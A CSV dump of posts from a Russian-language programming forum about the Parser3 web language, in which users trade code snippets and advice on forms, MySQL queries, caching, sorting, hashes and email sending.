<FORM name=\"form2\" action=\"/2/\">\
<INPUT type=\"text\" name=\"name5\">\
<INPUT type=\"text\" name=\"name6\">\
<INPUT type=\"Отправить форму\">\
</FORM>\
[/code]"
"12094","Благодарю, господа! :)\
Пошёл пробовать."
"12096","какой же вы бюрократ.\
\
Мне нужен JavaScript код берущий значения полей форм и отпровляющий их методом \"POST\"!"
"12097","вы берете, кидаетесь куском формы и говорите напишите за меня код - люди не будут писать за вас код, но идею дать могут, идею вам вроде дали, дальше сами."
"12098","[CODE]\
document.forms[\"form2\"].elements[\"name5\"].value=\
document.forms[\"form1\"].elements[\"name1\"].value;\
document.forms[\"form1\"].submit();\
[/CODE]"
"12099","вот кусок кода которому не нравится 'company'\
\
connect[$MAIN:mysql_connect]{\
$rekvizits[^table::sql{select company, adres, tel, url from user_balans natural left join balans where user_id = '$cookie:user'}]\
}\
<table cellpadding=5 cellspacing=0 border=0 align=center width=100%>\
<caption class=title>Реквизиты</caption>\
<form action=\"$env:script_name\" method=post>\
<tr>\
<td>Компания: </td>\
<td><input type=text name=company value='$rekvizits.company'></td>\
</tr>\
\
консоли нет, есть MySQL-Front, в котором этот запрос великолепно работает\
select company, adres, tel, url from user_balans natural left join balans where user_id = '1';\
\
это html, который сгенерировал MySQL-Front\
\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\
\
<html>\
<head>\
  <title>select company, adres, tel, url from user_balans natural left join balans where user_id = '1'</title>\
  <meta name=\"GENERATOR\" content=\"MySQL-Front 2.4\">\
  <style type=\"text/css\"><!--\
    .header {background-color: #D4D0C8;}\
    th {vertical-align: top;}\
    td {vertical-align: top; background-color: #FFFFFF;}\
  //--></style>\
</head>\
\
<body>\
\
<h3>select company, adres, tel, url from user_balans natural left join balans where user_id = '1' (1 Records)</h3>\
\
<table border=1>\
  <tr class=\"header\">\
    <th>company</th>\
    <th>adres</th>\
    <th>tel</th>\
    <th>url</th>\
  </tr>\
  <tr>\
    <td>asd&nbsp;</td>\
    <td>NULL&nbsp;</td>\
    <td>NULL&nbsp;</td>\
    <td>NULL&nbsp;</td>\
  </tr>\
</table>\
\
<br><br>\
<i>generated 27.01.2003 13:54:07 by <a href=\"http://www.mysqlfront.de/\">MySQL-Front 2.4</a></i>\
\
</body></html>"
"12102","1. надо все упростить, и выкинуть join-ы\
2. Попробуй этот код:\
[code]\
$table[НАЗВАНИЕ ТВОЕЙ ТАБЛИЦЫ]\
\
$desc[^table::sql{DESC $table}]\
^rem{\
# это если интересно\
$cols[^desc.columns[]]\
<p>\
^cols.menu{$cols.column}[<br />]\
</p>\
}\
\
<table cellpadding=\"0\" cellspacing=\"0\" border=\"1\">\
<tr>\
	<td><br /></td>\
	^desc.menu{<td>=$desc.Field=</td>}\
</tr>\
\
$q[^table::sql{SELECT ^desc.menu{$desc.Field}[,] FROM $table}[$.limit(5)]]\
^q.menu{\
	<tr>\
		<td>^q.line[]</td>\
		^desc.menu{<td>$q.[$desc.Field]</td>}\
	</tr>\
}\
</table>\
[/code]\
будет замечательно, если ты сделаешь результат выполнения этого кода доступным и нам :)\
\
"
"12103","Оно, по моему, не самоцель.\
Если к какой-либо страничке сайта происходит одно обращение в сутки - то страничку это вообще незачем кешировать.\
\
Основная задача кеширования - снизить нагрузку на сервер при большом количестве посещений.\
\
Отсюда вывод - время кеширования страницы должно быть больше времени генерации страницы :)\
\
В то-же самое время, если время кеширования будет очень велико, то нам нужно будет предпринимать дополнительные шаги для того, чтобы очищать кеш. Например, у нас есть лента новостей, и новости добавляются раз в день. Если мы установим время кеширования страницы, где выводятся новости в 3 дня и забудим очистить кеш (или механизм очистки кеша при добавлении/изменении новости даст сбой) - то посетители и не узнают о сегодняшних новостях. :)\
Поэтому я придерживаюсь такой точки зрения: надо выбирать default значения такими, чтобы они не создавали дополнительных сложностей :)\
Для простых сайтов вообще можно в вышеприведенном примере не делать очистку кеша раздела при добавлении/правки новости и \"забить\" на то, что введенная новость появится с задержкой максимум в 30-60 минут :)\
\
В моем-же примере я анализирую request method чтобы для динамически строящихся страниц случайно не забыть где-то отключить кеширование. :)\
\
Автопилот - рулит :)\
\
В общем время кеширования надо расчитывать не исходя из посещаемости страницы, а исходя из ее контента. IMHO\
\
На сильно загруженых сайтах даже кеш на 5 секунд сильно разгружает сервер...\
\
P.S. Я свое значение взял \"с потолка\", если так кому-то больше нравится :)"
"12104","Эта статья — рассадник глюков, взращенных на плодородной почве ламеризма. После выхода Денвера поток писем с вопросами или проблемами снизился на порядок. Была б моя воля — я бы ее вообще из всего Рунета стер, но увы, слишком расплодилась. В общем, хотите садиться голым задом на раскаленную сковородку только для того, чтобы почувствовать, что такое «тепло летнего солнца», — пожалуйста. Я же предпочитаю просто посмотреть наверх."
"12105","[code]\
$dt[^date::now[]]\
$tm[$user_id-$dt.day-$dt.month-$dt.year]\
[/code]\
\
Понятно, что вторая строка обрабатывается неверно.\
\
Подскажите выход, плз. ?\
"
"12106","При отладке одного скрипта заметил, что процесс парсера при выполнении кода вида\
[code]\
^for[i](0;100){\
	$xml[^xdoc::load[file.xml]]\
	^xml.save[file.xml]\
}\
[/code]\
при размере XML порядка 100 Кб съедает примерно 80-90 Мб памяти (использование памяти постоянно увеличивается в ходе выполнения), это нормально? Чем это вызвано и как можно избежать таких вещей (кроме вынесения загрузки/записи за пределы цикла)? Версия парсера - parser3_3_0_0006_freebsd47R_cgi_xml"
"12107","А если не одно посещение, а от 800 до 1500 unique visitors (25 тысяч хитов в день)в день, то пора заняться кэшированием ?\
Или уже поздно (врач сказал ...) ?!"
"12108","[code]\
$tm[${user_id}-${dt.day}-${dt.month}-$dt.year]\
[/code]"
"12109","возможно, в скором будущем ситуация изменится.\
это не leak, к концу обработки запроса вся память освободится [cgi просто помрёт, в apache module освободится pool, в iis освободит сам parser]."
"12110","http://www.scriptarchive.com/demos/wwwboard/wwwboard.html\
\
http://www.scriptarchive.com/readme/wwwboard.html#history\
\
Такой интерфейс был придуман ещё в 1995 году. Но в Студии его здорово доработали, спору нет."
"12111","Процесс может быть радостно прибит системой при наличии ограничений в login.conf"
"12112","...к тому-же с помощью парсера простейшая реализация кеширования делается [url=\"http://parser.ru/examples/cache/\"]элементарно[/url] и не требует практически никакой дополнительной поддержки (правда требует дополнительного дискового пространства под кеш)"
"12113","Это понятно, сейчас переписываю код.\
Вопрос был несколько про другое - были замечены некоторые проблемы (Virtual FreeBSD в хорошей компании в Америке; памяти и места до фига свободно).\
Может ли срочное доделываение кэша исправить обстановку, или лучше все сделать с умом, не торопясь ..."
"12114","1. что за проблемы (25тык в сутки это не так уж много, даже для сложной задачи, т.к. это в среднем меньше 1 запроса в 3 секунды, а с помощью rusage на freebsd ты можешь посмотреть сколько у тебя генериться странички. и вообще - статистика сильная штука, прежде чем оптимизировать нужно понять: что оптимизировать. включи логи, чтобы писались параметры rusage в файлик, через денек посмотришь что больше всего грузит сервер. возможно просто какой-нить флуд или кривые ссылки. посмотри на примеры моих методов реализации sql запросов - там тоже можно получать статисику, но иную... что за запросы делаются... тоже непаханое поле для оптимизации)?\
\
2. мне не понятно что такое \"срочное доделывание кеша\" и что такое \"сделать все с умом\". тот код, который приведен в примерах - это работающий код, который работает не на одном нашем сайте, в том числе на доволно таки нагруженых.\
\
3. есть задачи, где тот вариант кеширования - как мертвому припарки (например форум... тут надо делать иначе, или чат...)\
\
а вообще... если все совсем плохо, то по моему надо побыстренькому прикрутить хоть что-то, а потом делать лучше. удачи."
"12115","\
[code]\
$item[^table::sql{select image1,image2,image3 from blabla where xxx}]\
$body[куча текста в котором есть [image1] и [image2] ]\
$body[^body.match[\\[image(\\d)\\]][g]{<img src=\"$item.image$match.1\" />}]\
[/code]\
\
так вот, match не хочет брать нужный столбец из таблицы %(((((\
опять синтаксис %(\
\
Хелп !!!"
"12116","попробуй так: $item.[image$match.1]"
"12117","А суть в том чтобы брать соотв image1, image2 где в тексте \
[image1] [image2]"
"12118","гланул... \
\
неявно это есть тут:\
http://parser.ru/docs/lang/vars.htm\
"
"12120","Освоение Парсера идёт вовсю, поэтому постоянно появляются новые вопросы. Какие-то путём усиленных размышлений решаются самостоятельно, какие-то – нет. \
Вот один из таких - «Хлебные крошки», а именно:\
Имеются разделы: «Главная»,  «Фото», «Форум», «О ресурсе».\
В каждом несколько подразделов, к примеру, в «Фото» – это: «одиночные», «групповые» и «прислать».\
Необходимо в некоей строке около меню выдать вида:\
Фото >> Одиночные >> Страница 1, при этом естественно слова кроме «Страница 1 ссылки.\
Данные о главных и вложенных разделах загружаются из sections.cfg  и photo_sections.cfg соответственно.\
Все примеры, найденные мною, на XML, что по причине его незнания не подходит.\
Всё что получилось сделать самому выглядит Главная >> Одиночные.\
В общем, видимо весь вопрос в том, как вывести именно Фото вместо Главной.\
\
Как можно реализовать подобную навигацию методами самого Парсера?"
"12122","Каюсь, что воспользовался поиском... :(\
Спасибо, огромное! Пойду пробовать... :)"
"12123","как слать мыло многим чувакам и чувихам? а скрытые копии?"
"12124","\
Вот все понимаю, но никак не догоню как расшифровать предпоследнюю строчку: \\[\\/\\2\\] \
\
$string[^string.match[\
	(\\[(color)=\"?([^^\"]+?)\"?\\])\
	(.+?)\
	\\[\\/\\2\\]\
	][gix]{<font color=\"${match.3}\">${match.4}</font>}]\
\
Буду благодарен за ответ :)"
"12125","[/color]"
"12127","Ну я же шучу.\
Просто некоторые люди считают, что если они такие умные, что уже и не хотят поделиться с новечками. Я, например, на клиенте практически не программировал и попросил помощи.\
Логически, то я все понимаю. Я уже не через один язык программирования прошел, но вот именно с кодом на JS у меня проблемы за его практической ненабности или почти не надобностью.\
А вас я благодарю.\
\
P.S. Хоть мне и не очень приятно вычитывать ваш крик."
"12128","...в перле и только в том случае, если в качестве символа разделителя используется именно он.\
\
Далее, это обозначает: \"символ открывающаяя квадратная скобка\" за ним \"символ слеша\", за ним \"строка, которая запомнилась с помощью второй открывающей скобки данного шаблона (у нас это (color))\" и затем \"символ закрывающей квадратной скобки\".\
\
Книжка (бумажная или электронная) по регулярным выражениям совсем не вредит для понимания этого :) "
"12129","Хотел просто прояснить такой вопрос - стоит ли ждать в обозримом будущем встроенную в Парсер обработку изображений?\
\
Знаю, что существуют другие способы, просто пока еще не решил - использовать ImageMagick или дождаться поддержки в Парсере."
"12130","Использую Парсер для вывода логов, там есть колонка с IP-адресом.\
\
Хотелось бы получать приличное имя хоста вместо цифр. Можно сделать это средствами Парсера?"
"12131","Создать класс для работы с изображениями. Пока, через ImageMagic. Все делать через методы этого класса. Если появится поддержка в парсере - поправить один класс.\
\
Ждать - неконструктивно."
"12133","возможно, это сделает кто-то другой, кому не лень."
"12134","по стандарту это может тормозить 2^3=8 секунд, и какими бы средствами вы не решали эту проблему, работать такой скрипт будет небыстро.\
\
так что крайне не советую делать это [b]при отображении[/b].\
делать это надо асинхронно.\
и совсем необязательно на parser, например аналогичнай perl-скрипт будет короче и проще. каждой задаче по своему инструменту."
"12135","Скажите пожалуйста, есть ли возможность \"скрестить\" парсер с javascript-ом таким образом: при клике на ссылку выполнятся команда onClick, которая запускает какой-то метод или вставляет куда-нибудь в тело страницы какую-нибудь переменную $peremennaya?"
"12136","Сервер иногда выдает такую ошибку:\
\"Ошибка CGI\
Указанное приложение CGI не возвратило полный набор заголовков HTTP. \
Не возвращены заголовки:\"\
Чем это вызвано и как преодолеть?"
"12137","Драсти.\
Что-то у меня ^table.sort{} некорректно (или, если точнее - вообще никак) сортирует таблицу.\
\
Дело в том, что я использую турецкую кодировку (windows-1254) - возможно поэтому. Хотя файл данной кодировки у меня есть и методы ^str.upper[] и ^str.lower[] работают исправно.\
\
Пробовал сортировать средствами MySQL, но он тоже \"гонит\" - в общем все путем - латинские символы он выстраивает, но вот турецкие (те, которых нет в латинике) ставит в начало списка - видно, он их не понимает.\
\
Поэтому я решил сортировать Парсером, а там вообще - еще хуже. Абсолютно никакого порядка - все вперемешку. Скорее всего, файл кодировки на ^table.sort{} не влияет, ну, или я не знаю, что там еще может быть.\
\
Никто, ничего не посоветует?"
"12139","вот, вижу:\
[code]\
Y:\\apache-1.3\\src-1.3.27-win32\\support\\logresolve.exe \
Usage: logresolve [-s statfile] [-c] < input > output\
[/code]\
\
на вашем hosting, уверен, тоже имеется.\
спросите администратора."
"12140","все хотел спросить. Как делается, что при отправке сообщения в этом форуме обновляется родительское окно?\
Вроде парсером это не должно делаться.\
Java какая-нибудь?"
"12141","я не вникал, но, по-моему, если отсортировать в порядке unicode, будет по-алфавиту.\
\
если не лень, исследуйте проблему.\
это приблизит время реализации удобного всем решения в parser.\
\
сейчас ключом берётся просто строка в кодировке $request:charset, т.е. без всякой обработки.\
\
если нужно срочно и порядок unicode вас устраивает, перейдите на хранение файлов на сервере в кодировке UTF-8. \
будет и sort и lt le gt ge в unicode порядке."
"12142","Да не, у нас же не Виндовый Апач!\
Вы же должны знать-то, мы - это Менделеево, ВНИИФТРИ! :)\
Но мысль интересная, покопаю доку по Апачу."
"12143","Ндаа... Unicode меня не устраивает - весь проект (~6.5M) в кодировке windows-1251. Мне совсем не улыбается кодировать это в unicode.\
\
Может свой сортировщик написать?\
\
Ладно, я подумаю, как решить эту проблему...\
\
Спасибо."
"12145","По английски это вроде\
\"Premature end of header srcipts\"\
Короче ошибка.\
\
Для начала я бы посмотрел логи Апача, там есть детальная информация.\
\
Или написать свой обработчик ошибок, тогда он будет выдавать больше информации (даже если произошла необрабатываемая ошибка)."
"12146","давно живу не там, но бываю по выходным частенько."
"12147","Вот такой кусок живёт у меня в auto.p\
\
[code]\
@unhandled_exception[exception;stack]\
#next line added by Constantine.\
^if((\"$exception.type\" eq \"file.missing\") && (def $exception.source) && (^exception.source.match[$request:uri][] || ^exception\
\
^unhandled_exception_debug[$exception;$stack]\
\
#next line added by Constantine.\
}\
[/code]"
"12148","<script type=\"text/javascript\" language=\"JavaScript\"><!--\
window.opener.location.href = '/forum/'\
window.opener.focus()\
window.close()\
//--></script>"
"12152","в логах только 502 ошибка и все.\
Мне кажется это не в коде дело. Один и тот же код в 9 из 10 случаев нормально исполняется. \
когда глюк в коде, парсер выполняет @unhandled_exception со всеми нужными ругачками."
"12154","про циклы и меню почитай\
скрытые копии - bcc"
"12155","всякое, конечно бывает, может и у меня что-то.\
\
хотя там даже при gpf до журнала ошибок должно дойти вразумительное сообщение.\
\
сумеете выделить в чистом виде, пришлите bug.html мне в почту?\
только не 100К, а только необходимый для возникновения ошибки кусок.\
заранее спасибо."
"12156","спасибо, про циклы и меню можешь сам почитать. я спросил, как отправить одно мыло нескольким людям. bcc - это хорошо.\
я писал $.to[vasya@vasya.com;petya@petya.com], это вызвало ошибку вот я и спросил."
"12157","ёклмн, ну мог бы догадаться.. после $.to пишешь\
$.bcc[..адреса..]"
"12158","уфхц, мне не надо скрытые копии. абвгд, мне надо обычные копии."
"12159","это хорошая новость, а плохая - я не увидел исправленых багов, зато увидел новые :("
"12160","в стандарте полагается разделять запятыми.\
только в 3.0.0007 есть bug, который не пропускает несчастные запятые. в cvs bug исправлен, но на новую версию это пока не тянет.\
\
чуть стоит отвернуться попрограммировать, как шум/гам. давайте спокойнее…"
"12162","Только писать надо <mail1>, <mail2>, <mail3> и так далее..."
"12164","я так пробовал, не пропускало, валился эксцэпшын :) о том что мыло не правильное."
"12166","вот что за версия на parser.ru:\
http://parser.ru/cgi-bin/parser.parser3.cgi\
\
или просто с консоли запустить:\
[code]\
[paf@dev ~/parser3project/parser3/src/targets/cgi]$ ./parser3\
./parser3: file not specified\
Parser/3.0.HEAD Copyright(c) 2001, 2003 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: ./parser3 [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
[/code]"
"12167","сорри, работает."
"12168","Но он может быть HEAD еще от версии 0005... Не показатель, увы..."
"12169","однако там была одна collation sequence: «в том порядке, что буквы в кодировке windows-1251 идут».\
\
agat так и не ответил, устраивает ли его порядок unicode. \
\
а на моё предложение поисследовать, чтобы приблизить реализацию, ответом было гордое игнорирование."
"12170","в бинарник parser попадают cvs $Date$ всех исходных файлов.\
они легко доступны командой ident, последняя дата достаётся так:\
\
[code]\
$ ident parser3|grep -i date|sort -r|head -1\
     $Date: 2003/01/23 08:20:39 $\
[/code]"
"12171","кажется, unicode мне подойдет. Если сортировать по unicode - все будет так, как мне нужно. Я сейчас тут некоторые символы исследую.\
\
А как декодировать \"налету\"? Что-то я ума не приложу.\
\
И упаси осподи вас игнорировать! Не знаю, с чего вы так решили. Приношу свои извинения, если я дал повод так думать."
"12173","нужно понять, скажем, для турецкого, следуют ли unicode букв в алфавитном порядке, или нет.\
\
и для иврита. и для арабского.\
вообще следуют ли?\
\
кусок из стандарта=?"
"12174","Когда я вывожу хеш с помощью foreach все выводится в произвольном порядке. Можно как-то хеш сортировать по крайней мере при выводе?"
"12176","изменил запросы на простые без join. заработало с полем company."
"12177","Ситуация: создаю хеш, в котором одному из ключей надо присвоить значение, используя значение другого ключа того же хеша. \
Что-то вроде такого:\
my_hash[\
	$.key1[совершенно не]\
	$.key2[я тебя $my_hash.$key1 люблю]\
]\
\
Понятно, что можно просто переопределить значение ключа позднее, после создания хеша,\
но сделать это прямо при создании хеша кажется \"красивше\"...\
\
#\
# Q5: Существует ли способ получить значение какого-либо ключа в хеше _внутри_ самого хеша?\
#\
\
"
"12178","кажись ошибочка была из-за того что в $rekvizits.company 'c' была русская. так что всё ок."
"12179","Выполняю запуск скрипта по уменьшению картинок в 3.006:\
[code]\
^if(def $form:pict){\
$destination_path[/news/images]\
$source_path[/news/images/hirez]\
$str[$form:pict.name]\
$nameParts[^str.rsplit[.]]\
$transform[$nameParts.piece]\
$nameParts[^transform.lower[]]\
^form:pict.save[binary;$source_path/${schet1}.$nameParts]\
$f[^file::exec[/../cgi-bin/images.pl;$.CGI_DESTINATION_PATH[/home/sst/htdocs$destination_path]$.CGI_SOURCE_PATH[/home/sst/htdocs$source_path]$.CGI_IMAGE[${schet1}.$nameParts]$.CGI_X[150]]]\
}\
[/code]\
скрипт отрабатывает нормально, картинка уменьшается без проблем.\
\
Пытаюсь сделать то же самое но под 3.007, естественно вношу кое-какие изменения:\
[code]\
^if(def $form:pict){\
$destination_path[/news/images]\
$source_path[/news/images/hirez]\
$str[$form:pict.name]\
$parts[^str.split[.;r]]\
$nameParts[^parts.piece.lower[]]\
$file_name[$source_path/${schet1}.$nameParts]\
^form:pict.save[binary;$file_name]\
$f[^file::exec[/../cgi-bin/images.pl;$.CGI_DESTINATION_PATH[/home/sst/htdocs$destination_path]$.CGI_SOURCE_PATH[/home/sst/htdocs$source_path]$.CGI_IMAGE[${schet1}.$nameParts]$.CGI_X[150]]]\
}\
[/code]\
Скрипт отрабатывает нормально, но на эране получаю ошибку 500.\
\
Убрав обработчик ошибок получил следующее:\
execution stopped  type: parser.interrupted\
\
В чем может быть проблема?"
"12181","поскольку hash ещё не создан.\
\
сравните ваш код с таким:\
[code]\
$table[^table::create{a	b\
av	$table.a\
}]\
[/code]\
\
и сразу поймёте всю кривизну желаемого."
"12182","[quot]\
Загрузка страницы прервалась (пользователь остановил загрузку страницы или истекло время ожидания)\
[/quot]\
\
соответственно возникают вопросы: \
1. ты не тормозишь загрузку сам?\
2. ты пущаешь file::exec - может у тебя из-за cgi-headerа чего не так?\
3. ^try с проверкой на parser.interrupted и игноре этой ошибки не катит?\
"
"12184","т.к. у каждого свои \"понятия\" о сортировке.\
\
что мешает сделать что-нить типа этого:\
[code]\
$k[^myhash._keys[]]\
^k.sort{$myhash.[$k.key]}\
[/code]\
?\
посмотри доку, внутри sort - ФУНКЦИЯ, так что можно хоть правой ногой левое ухо почесать..."
"12186","Я могу просто встать со стула и пройти налить себе чай.\
\
Однако если я захочу \"метнуться\" за ним за 30 км к себе домой - для этого мне потребуется что-нить типа автомобиля. \
\
Для каждой задачи надо выбирать инструмент. Если у вас тут ключевой момент - упорядоченые наборы данных - возможно, что вами выбран неправильный инструмент (хеш)."
"12187","Сортировка момент не ключевой, но важный (список из 60 городов в форме). Меня больше смущает то, что при foreach вообще все выводится СЛУЧАЙНЫМ ОБРАЗОМ (ну или по крайней мере по неизвестной мне закономерности). Почему бы не сделать чтоб выводилось в том порядке в котором хеш находится?"
"12188","в таком и выводится.\
\
если вас смущает порядок, это обычное для хэш-таблиц дело, этот порядок определяется способом хранения таблицы, который хоть и не обеспечивает порядка, зато обеспечивает эффективность.\
\
\
как вы выше пишете, вы даже хотите, чтобы выводился не в порядке ключей, а в порядке значений, что и вовсе нонсенс: а что, если я в hash храню таблицы, в каком порядке их перебирать?"
"12189","хэш это аналог математического множества, а они как известно неупорядочены по определению."
"12190","[code]\
^try{\
$f[^file::exec[/../cgi-bin/images.pl;$.CGI_DESTINATION_PATH[/home/sst/htdocs$destination_path]$.CGI_SOURCE_PATH[/home/sst/htdocs$source_path]$.CGI_IMAGE[${schet1}.$nameParts]$.CGI_X[150]]]\
}{\
^if($exception.type eq \"parser.interrupted\"){$exception.handled(1)}\
}\
[/code]\
\
Но ошибка все равно не пропадает..."
"12191","Подскажите пожалуйста, где достать версию Parser3 для Red Hat, без\
SAFE MODE? Мой провайдер отказывается помочь, а у меня ни Linux'а ни опыта сборки из исходников :-(.\
\
Спасибо,"
"12192","Для rh не знаю, а для freebsd тут:\
http://parser.ru/forum/?id=8528"
"12193","Не планируете ли вы добавить туда [b]\"ПОИСК\"[/b] по вашему форуму?\
Или вы может просто скажете SQL запрос для быстрого поиска?"
"12194","А нельзя ли там так и написать:\
\
[i]Сначала установите правильную и если она не работает ставьте не правильную[/i]\
\
:)\
"
"12195","а это где такие?"
"12196","Думаю, что примерно так :-)"
"12198","подтверждаю только то, что нельзя это исключение сделать handled."
"12199","подозреваю, происходит SIGPIPE, но не при чтении parser'ом информации от клиента, и не при выдаче parser'ом информации клиенту.\
\
подозреваю, что происходит SIGPIPE при передаче информации вашему скрипту или при приёме информации от него.\
\
если вы проблему в своём скрипте не найдёте, пишите мне мылом, вложите bug.html в максимально упрощённой форме и свой .pl, посмотрю."
"12200","Никак не могу сделать.. хотя это скорее всего самое элементарное, но учимся.. учимся..\
\
Представим что это gbook. Нужно чтобы у каждой записи был id который выводился бы на странице.\
\
Например:\
____________________\
[color=\"red\"][b]#1[/b][/color] by Mikes  23:17 7 Feb\
\
text\
____________________\
[color=\"red\"][b]#2[/b][/color] by Mikes  23:18 7 Feb\
\
text\
____________________\
\
Есть БД, есть в ней такие поля id date author email ip body.\
\
Задача: скрипт обращается к БД, если записей нет, то делает первую и присуждает ей\
id=1, в следующий раз скрипт снова обращаеься к БД, но так как id=1 уже есть, то находит\
ПОСЛЕДНИЙ id (это может быть id=23, d=32, etc) и делает id+1. Алгоритм ясен,\
а вот написать нка не могу :) Помогите пожалуйста.\
\
БД MySQL, parser3\
\
p.s. сильно не пинайте, я только учусь =)\
Может кто кинет lib.p разные, из всегда полезно почитать, одну нашел (by Misha)"
"12201","Сайт работал под 3.0005. Я поставил туда 3.0007 и новый драйвер sql (MySQL).\
Всё прекрасно работает, но одна строчка с запросом к базе данных пазывает exception parser.runtime со словами 'sql' called with invalid option.\
Я посмотрел в код ни чего необычного не нащёл -- простой вызов ^table::sql{...}[$.limit(1) $.default{}]\
\
Что это значит?"
"12202","хм, пытался выделить id в примере [code][color=\"red\"][b]#1[/b][/color][/code], и что-то не получилось, повторю снова:\
\
____________________\
#1 by Mikes 23:17 7 Feb\
\
text\
____________________\
#2 by Mikes 23:18 7 Feb\
\
text"
"12204","$.limit()- есть, $.offset() - есть, а $.default{} - нету.\
Вы путаете это с методами ^string|int|double:sql{} "
"12205","Кто найдет лекарство, плз на мыло :)"
"12206","но если удаляешь в БД запись, то получается так =(\
\
#1\
#2\
#4\
#6\
#7\
#8\
\
как пофиксить? доки не нашел"
"12207","Еще один вопрос, есть в БД таблица news (id, title, date, mail, author, body, links),\
на главную страницу сайта из этой таблицы формируются новости. Хочется добавить\
к каждой из новости комментарии, т.е. при нажатии на заголовок новости переходим\
на страницу на которой формируется выбранная новость, комментарии, форма, с этим проблем нет.\
\
Но вот на этом я остановился.. как организовать хранение комментариев в БД? Отдельную таблицу comments создать (структура id, author, email, date, body, ip), но тут все сложно\
получается, попытаюсь представить: в таблице news создаем дополнительное поле comments_id,\
в котором через разделитель храним id комментариев относящихся к этой новости записанных\
в таблице comments.. уфф.. а как бы это покрасивей представить?\
\
Или когда добавляется новый комментарий в БД news у соответсвующей новости создавать\
новые поля с уникальными идентификаторами, например comment1 comment2..\
\
Что-то у меня уже голова плывет =)\
\
Подскажите пожалуйста кто как бы реализовал это?\
\
p.s. я не программист =) вижу MySQL второй день =)) кое что стал понимать благодаря phpmyadmin =)))"
"12208","у комментария храни, к какой он новости...\
\
phpadmin - не книжка. от (e-)?книжки пользы больше."
"12210","вот почему-то все сначала пытаются использовать поле [i]id[/i] для нумерации строк, а между тем обычно это поле используется для немного других целей, а именно - как идентификатор строки таблицы. С его помощью производится сортировка/изменение/удаление строк, а чтобы обеспечить уникальность идентификатора используется атрибут [i]auto_increment[/i].\
\
А по поводу проблемы есть два варианта:\
\
1. не нумеровать совсем (?)\
2. нумеровать при выборке данных, например средствами Парсера.    "
"12211","Для того, чтобы показать комментарии для какой-то новости ты будешь доставать из таблички записи, который ссылаются на эту новость и сортировать их срезствами sql сервера по дате добавления...\
\
Очень желательно почитать про индексы и приделать таки эти индексы на столбец news_id и столбец с датой добавления комментария...\
\
Правда если действительно может быть пара миллионов комментариев, то стОит подумать о том, чтобы выводить их частыми :)\
\
Смотри пример про [url=\"http://www.spearance.tura.ru/parser3/scroller/\"]текстовый скроллер[/url]"
"12215","Да, но множество можно упорядочить, если на нем определена операция сравнения. Для всех типов данных, которые можно использовать в хешах, такая операция, насколько я понимаю, определена."
"12216","Ну это уже частности. Можно же объекты класса table использовать в математических выражениях? Вот так же сравнивать и сортировать. Главное найти принцип по которому сравнивать, а его можно найти почти всегда."
"12217","Из error-log\
out of pool memory: failed to allocate 5220 bytes; already allocated on pool: 33985898 bytes in 316894 times\
Что это значит? подскажите кто-нить..."
"12218","Отожрал больше 30 мегов (думаю, что около 50-60 в реале), потом память кончилась... Он умер. Совсем.\
Надо пересмотреть алгоритмы - так много данных не бывает, возможно многое не нужно."
"12219","Не понял... в смысле код надо на уменьшать?\
И откуда он 50 метров отожрал? :)"
"12220","Точнее, как я, как \"не программист\" себе это представляю:\
\
перед выдачей в браузер Парсер из исходного кода формирует документ. Для этого дела сервер выделяет парсеру определённое кол-во памяти. Если для успешного завершения процесса парсеру этой памяти нехватает, сервер недолго думая убивает процесс, и выдает \"out of pool memory...\" "
"12221","да - следуют.\
\
Комментарии - вот ряд алфавита:\
[code]\
&#1488;&#1489;&#1490;&#1491;&#1492;&#1493;&#1494;&#1495;&#1496;&#1497;&#1499;&#1500;&#1502;&#1504;&#1505;&#1506;&#1508;&#1510;&#1511;&#1512;&#1513;&#1514;\
[/code]\
пропуски - некоторые буквы имеют особенное начертание в конце слова (&#1498;&#1501;&#1503;&#1507;&#1509;).\
\
Арабский - сорри, это не к нам :-)"
"12222","кусок из доки:\
[quote]\
^process{@extra[] \
   Здоровья прежде всего… \
} \
[/quote]\
И ещё кусок оттуда же:\
[quote]\
Операторами в Parser считаются методы класса MAIN, добавляя новые методы в этот класс вы расширяете базовый набор операторов. \
[/quote]\
\
У меня в корневом auto.p есть такой примерно кусок:\
[code]\
^if($lala[] is junction){lala}\
[/code]\
если в любом .html (из который собирается MAIN) прописать @lala[], то всё работает. \
Если сделать в любом классе\
[code]\
^process[MAIN]{@lala[]\
$result[It's worked!]\
}\
[/code] \
то я получаю\
Can not add method to system class.\
\
А как прописать ляля[] из любого другого класса? Может, имеет смысл сделать класс page, в контексте которого и плясать? или как?\
"
"12223","таблица comments должна быть связана с news по id а не news_id т.е. по внешнему ключу, MySQL не подерживает внешние ключи, но другие БД держат. Да и плодить лишнюю сущность тоже плохо.\
\
А вообще можно и по news_id связать если в таблице news это первичный ключ (а не id), и так даже лучше сделать. В таблице comments первичный ключ будет comment_id, а внешний news_id.\
\
В этом случае можно использовать стандартные способы соединения таблиц, и другому человеку станет понятен ваш код. Если городить огород с доп. сущностями, - все будет криво и непонятно.\
\
Да, и стоит сначала почитать что такое реляционная теория и нормализация, прежде чем браться за что-то серъёзное."
"12224","Больно быстро он ищет с учетом того, что данных очень много.\
Не только по теме, но и по тексту сообщения.\
Старанно."
"12227","если вы заметили, даже имеющийся [b]сейчас[/b] порядок сортировки строк в table.sort не всех устраивает.\
\
а вы говорите о какой-то общности.\
я задал вопрос: что делать, когда у нас\
\
[code]\
$hash[\
    $.first[\
        $.deep1(1)\
    ]\
    $.second[\
        $.deep2(2)\
    ]\
]\
[/code]\
\
в каком порядке, извините, вы предлагаете его выводить?\
"
"12228","а чем вам safe mode помешал? мы постарались учесть даже хитрые конфигурации, каков ваш случай?\
может сумеем и вас удовлетворить, не разводя коммунизма?\
\
[если не сможем, наверное, выложим и для вашей платформы не safe]\
\
если не лень, пожалуйста, опишите:\
1. от имени какого пользователя работает cgi скрипт [спросите админа]\
2. от имени какой группы работает cgi скрипт [спросите админа]\
3. от имени какого пользователя вы кладёте файлы на сервер [посмотрите в настройках своего ftp]\
4. от имени какой группы вы кладёте файлы на сервер [посмотрите в листинге файлов своего ftp в голонке \"группа файла\"]\
"
"12229","сейчас идёт работа над улучшением ситуации, надеюсь, скоро она изменится.\
\
желающих призываю следить за комментариями в CVS, ветка autoptr."
